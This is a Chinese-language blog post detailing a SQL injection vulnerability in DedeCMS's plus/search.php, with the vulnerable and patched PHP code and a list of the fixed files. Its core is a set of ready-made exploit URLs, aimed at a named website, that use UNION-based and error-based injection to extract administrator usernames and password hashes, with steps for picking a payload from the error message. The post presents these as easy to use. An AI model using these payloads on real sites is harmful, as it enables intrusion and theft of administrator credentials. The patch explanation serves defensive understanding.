dedecms plus/search.php最新注入漏洞
dedecms的最近出的一高危漏洞，search.php注入漏洞;估計現在很多黑闊都非常愛dedecms,因為經常有各種漏洞爆出.很多利用起來也都很簡單.
下面是漏洞的詳細利用細節：
0×1:
|
1 |
http://www.zzxjjy.com/plus/search.php?keyword=as&typeArr[ uNion ]=a |
?
報錯如果為：Safe Alert: Request Error step 2 !
則利用以下exp:
|
1 2 |
http://www.zzxjjy.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26, pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a |
?
0×2:
|
1 |
http://www.zzxjjy.com/plus/search.php?keyword=as&typeArr[ uNion ]=a |
?
報錯如果為：Safe Alert: Request Error step 1 !
則利用以下exp:
|
1 2 |
http://www.zzxjjy.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a +from+information_schema.tables+group+by+a)b)%23@`\'`+]=a |
?
漏洞修復：
20130115常規安全更新
include/arc.searchview.class.php, 搜索功能準確度優化
member/myfriend_group.php, 修復會員中心會員分組功能存在的安全隱患
plus/search.php, 修復搜索功能存在的安全隱患
登錄DEDECMS后臺會有提示，更新即可。不過貌似官方沒有提供安全更新補丁的下載地址，找了半天沒找到~
漏洞分析：
存在漏洞的文件/plus/search.php
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 |
//引入欄目緩存并看關鍵字是否有相關欄目內容 require_once($typenameCacheFile); if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { $keywordn = str_replace($typename, ‘ ‘, $keyword); if($keyword != $keywordn) { $keyword = $keywordn; $typeid = $id; //對ID沒做任何過濾 導致注入 break; } } } } $keyword = addslashes(cn_substr($keyword,30)); |
修復之后
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 |
//引入欄目緩存并看關鍵字是否有相關欄目內容 require_once($typenameCacheFile); if(isset($typeArr) && is_array($typeArr)) { foreach($typeArr as $id=>$typename) { //$keywordn = str_replace($typename, ‘ ‘, $keyword); $keywordn = $keyword; if($keyword != $keywordn) { $keyword = HtmlReplace($keywordn);//防XSS $typeid = intval($id); //強制轉換為數字型 break; } } } } $keyword = addslashes(cn_substr($keyword,30)); |
ps:最近太忙 在做新書最后的工作，書的具體內容參考《《黑客社會工程學攻擊2》的故事》，處女作呀，希望大家能支持下這本書呢！
本文漏洞部分作者鬼哥由網絡安全攻防研究室(www.zzxjjy.com)信息安全小組收集整理，轉載請注明出處。
